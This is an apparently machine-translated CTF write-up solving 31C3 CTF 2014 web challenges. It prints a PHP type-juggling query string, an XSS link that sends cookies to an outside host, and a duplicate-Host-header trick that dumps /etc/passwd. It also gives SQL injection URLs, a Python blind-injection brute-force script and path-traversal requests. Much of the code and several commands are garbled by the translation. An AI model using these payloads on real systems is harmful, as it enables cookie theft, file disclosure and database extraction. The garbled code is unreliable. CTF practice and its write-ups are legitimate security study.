∑ – TEAM · 2015/01/07 it
0 x00 background
31C3 CTF is still very humane and can be played after the game is over. I wrote a writeup, which I couldn’t do at that time.
Answer the following questions can read English here at https://github.com/ctfs/write-ups/tree/master/31c3-ctf-2014/web
0x01 pCRAPp
PHP is nasty crappy sometimes, just pwn it http://188.40.18.69/
This one takes a lot of PHP tricks to put together. This is the submission required for clearance.
http://188.40.18.69/pCRAPp.php?a= {% 22 a1%22: % 221337 a % 22, % 22 a2%22: [[1], 1,2,3,0]} = 0001 & b & c [0] = 0031 c3 & c [1], [] = 1111 & d = % 00Copy the code
Analyze each knowledge step by step, in fact, a lot of skills at http://drops.wooyun.org/tips/4483 have talked about in this article.
This makes use of the weak typing feature of PHP, where an int is compared to a line of another type and the other type intval is first compared.
#! php is_numeric(@$a["a1"])? die("nope"):NULL; if(@$a["a1"]){ ($a["a1"]>1336)? $v1=1:NULL; }Copy the code
The same principle applies here, array_search uses’ CTF ‘to compare each value in array, and intval(‘ CTF ‘)==0.
#! php if(is_array(@$a["a2"])){ if(count($a["a2"])! ==5 OR ! is_array($a["a2"][0])) die("nope"); $pos = array_search("ctf", $a["a2"]); $pos===false? die("nope"):NULL; foreach($a["a2"] as $key=>$val){ $val==="ctf"? die("nope"):NULL; } $v2=1; }Copy the code
Here with the help of a BUG, http://blog.51yip.com/php/934.html. Under Windows 1.1.1 this construct also returns an error.
#! php if(preg_match("/^([0-9]+\.? [0-9]+)+$/",@$_GET['b'])){ $b=json_decode(@$_GET['b']); if($var = $b === NULL){ ($var===true)? $v3=1:NULL; }}Copy the code
The trick here is that the STRCMP comparison between array and string returns null, and %00 truncates eregi
#! php $c=@$_GET['c']; $d=@$_GET['d']; if(@$c[1]){ if(! strcmp($c[1],$d) && $c[1]! ==$d){ eregi("3|1|c",$d.$c[0])? die("nope"):NULL; strpos(($c[0].$d), "31c3")? $v4=1:NULL; } } if($v1 && $v2 && $v3 && $v4){ include "flag.php"; echo $flag; }Copy the code
0x02 Page Builder
These guys have ripped off our designs and using them in their web pages builder! We’d Haxx them, don’t worry we’ll give you decent points for it
This problem is divided into two steps, the first step to construct an error page. Filename displayed on the error page does not have escape.
The following structural parameters
filename=%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E.php&title=aaa&style=style1&content=aaa
Copy the code
A reflective XSS is formed
http://188.40.18.76/output/e53a4123da9c71138c0daa360b0d89ab05ced8b8/ < img SRC = x onerror = alert (1) >. PHPCopy the code
We can construct a connection that steals cookies
http://188.40.18.76/output/e53a4123da9c71138c0daa360b0d89ab05ced8b8/ < SVG onload=eval(document.location.hash.slice(1))>.php#document.location='http://lanantest.sinaapp.com/?'+document.cookieCopy the code
The second step is to submit this XSS to Contact Us, so you can steal the cookie, and you can see the Flag
0x03 HTTP
Check out our cool webserver. It is really fast because it is implemented in C. For security we use the versatility of Ruby.
Get the source at:
http.tar.bz2 Some example sites hosted with our webserver:
http://works.90.31c3ctf.aachen.ccc.de/works.html
http://31c3ctf.90.31c3ctf.aachen.ccc.de/announcements.html
Given a simple WebServer, first look at the source code.
In the run.sh command, you can see that the packet passes through fw.rb and then enters server_file.
#! bash exec socat "TCP-LISTEN:80,reuseaddr=1,fork" "EXEC:./fw.rb simple ./serve_file,su=nobody,nofork" 2> >(tee -a .. /www.log)Copy the code
Server_file. c will read the path file in the host directory and return it.
#! c if (chdir(host) == -1) { goto _404; } int fd= open(path, O_RDONLY); if (fd == -1) { goto _404; } struct stat stat; if (fstat(fd, &stat) == -1) { goto _404; } const char *file= mmap(NULL, stat.st_size, PROT_READ, MAP_SHARED, fd, 0); if (file == NULL) { goto _404; } close(fd);Copy the code
However, sending requests like this can be forbidden by fw.rb.
[email protected]: ~ # curl http://works.90.31c3ctf.aachen.ccc.de/passwd - H 'Host: / etc/whoCopy the code
Again, the fw.rb logic gets the Host that was last present
#! ruby def parse_headers(line_reader) line_reader.collect do |line| [$1, $2] if line=~ /\A([^:]*): *(.*)\z/ end.compact.inject({}) { |h, x| h[x[0]]= x[1]; h } endCopy the code
Serve_file will get the Host that first appears
#! c for (;;) { if (! read_line(buffer, &buf_size)) { goto invalid; } if (*buffer == '\r') { goto invalid; } if (strncmp(buffer, "Host: ", sizeof("Host: ")-1) == 0) { break; } char *eol= strchr(buffer, '\r'); buf_size-= eol-buffer-2; buffer= eol+2; }Copy the code
So we can construct two hosts to bypass fw.rb.
[email protected]: ~ # curl http://works.90.31c3ctf.aachen.ccc.de/passwd - H 'Host: / etc/' -h' Host: Works. 90.31 c3ctf. Helmholtz-institute for biomedical engineering. CCC. DE '0-0 at root: x: : root: / root: / bin/bash the daemon: x: 1: the daemon: / usr/sbin, / usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin syslog:x:100:103::/home/syslog:/bin/false messagebus:x:101:105::/var/run/dbus:/bin/false uuidd:x:102:107::/run/uuidd:/bin/false landscape:x:103:110::/var/lib/landscape:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin user:x:1000:1000:user,,,:/home/user:/bin/bash flag:x:1001:1001:31C3_b45fa9e4d5969e3c524bdcde15f84125:/home/flag:Copy the code
0x04 5CHAN
5CHAN? Never heard of this image board, but they have exactly what we need. The picture we’re looking
for is not for public, so can you get it?
http://188.40.18.89/
Copy the code
First visit http://188.40.18.89/robots.txt, find a backup directory, download to get the source code.
If you look at the code, you can easily find an SQL injection vulnerability
http://188.40.18.89/?page=pic&id=9 union select * from pictures where id=9 -- a
Copy the code
0x05 Devilish
It’s some devilish community public portal, we’re pretty sure there’s something else out there, a private portal maby, we’d like to know the secret behind it.
http://188.40.18.70/
Start by finding an SQl injection as a breakthrough.
http://188.40.18.70/PROFILE/54\/KiTTyKiTTy
Copy the code
You can find the SQL statement to execute in the comments of the page
<! --SELECT * FROM users WHERE id_user='54\' AND Us3rN4m3='KiTTyKiTTy'-->Copy the code
Injection points filter out a lot of things, and XML error reporting is something you can take advantage of with trial and error.
http://188.40.18.70/PROFILE/56\/-extractvalue (1, concat (0 x5c, 09 us3rn4m3 (select % % % 09 from 09 09 limit users % % 091))) - % 09Copy the code
Because information_schema is filtered, we need a different way to guess the field name
http://188.40.18.70/PROFILE/54%5C/-%28select%09 * % 09 from 28 select % 09% % % % % 09 * 09 from 09 users 09 09 users join % % 09 28 id_u 09 using b % % ser,Us3rN4m3,Em4iL4dr3Szz,S4cR3dT3xT0Fm3,MyPh0N3NumB3RHAHA,Addr3Zz0F_tHi5_D3wD,CHAR_LOL%29%29c%29--%09Copy the code
P4sWW0rD_0F_M3_WTF = P4sWW0rD_0F_M3_WTF
Because the length of the error message is limited, all the passwords will not be displayed here.
http://188.40.18.70/PROFILE/56\/-extractvalue (1, concat (0 x5c, 09 p4sww0rd_0f_m3_wtf (select % % % 09 from 09 09 limit users % % 091))) - % 09Copy the code
We can use locate violence to guess the rest of the passwords. I wrote a terrible script
#! python import requests import string charset = string.ascii_letters + string.digits print charset if __name__=='__main__': ipass = 'sd654egezjniufsdqc89q7d65azd123' print ipass.encode('hex') while True: for i in charset: t = ipass + i r = Requests. The get (' http://188.40.18.70/PROFILE/56\/-extractvalue (1, concat (0 x5c, 09 locate (select % (0 x '+ t.e ncode (' hex) +', P4sWW0r D_0F_M3_WTF)%09from%09users%09limit%091)))--%09') if r.text.find('XPATH syntax error: \'\1\'')! =-1: print 'Got it! '+i ipass = t print ipass else: print 'No! '+iCopy the code
Run out the full exit code
Dracula / ZD456ddssd65456lksndoiNzd654sdsd654zd65s4d56489zdz
Copy the code
After login, a more obvious file traversal shows that the site also has a hidden directory.
http://188.40.18.70/ACCESS?action=browse&dir=.. /.. /.. /.. /.. /var/www/html/__WebSiteFuckingPrivateContentNotForPublic666Copy the code
Visit the page inside to get the source code
[email protected] : ~ # curl http://188.40.18.70/__WebSiteFuckingPrivateContentNotForPublic666/LOGIN_HEAD
#! php <? php if(@$_SESSION['user']){header("location: ".$LINK); die(); } if(isset($_POST['user'])){ if(mysqli_num_rows(mysqli_query($con,"SELECT * FROM users WHERE Us3rN4m3='".mysqli_real_escape_string($con,@$_POST['user'])."' AND P4sWW0rD_0F_M3_WTF='".mysqli_real_escape_string($con,@$_POST['pass'])."' "))>0){ $_SESSION=$_POST; header("location: ".$LINK); die(); }else{ $Error=1; }}? >Copy the code
But Flag is not there, it is hidden in another Web service. You can see it in this directory.
http://188.40.18.70/ACCESS?action=browse&dir=.. /.. /.. /.. /.. /.. /.. /home/devilish.local/__WebSiteFuckingPrivateContentNotForPublic666%2b666Copy the code
The INDEX file in the server outputs flags
#! html[email protected]: ~ # curl "http://188.40.18.70/__WebSiteFuckingPrivateContentNotForPublic666%2b666/INDEX" - H "Host: devilish.local" <br/> This is the private Portal of us<br/><br/> If you are accessing this page this means you are one of the very few exclusive members who are allowed to come in here! <br/> <br/> <? php echo($logged?" Here's your secret ".$flag."<br/><br/>":"Login to access the secret<br/><br/>")? > <span class="styleX">s</span>Copy the code
Is_ExclusiveMember =1 in the POST data, because $_SESSION=$_POST will be synchronized to the session.
Then go to devilish.local and get flag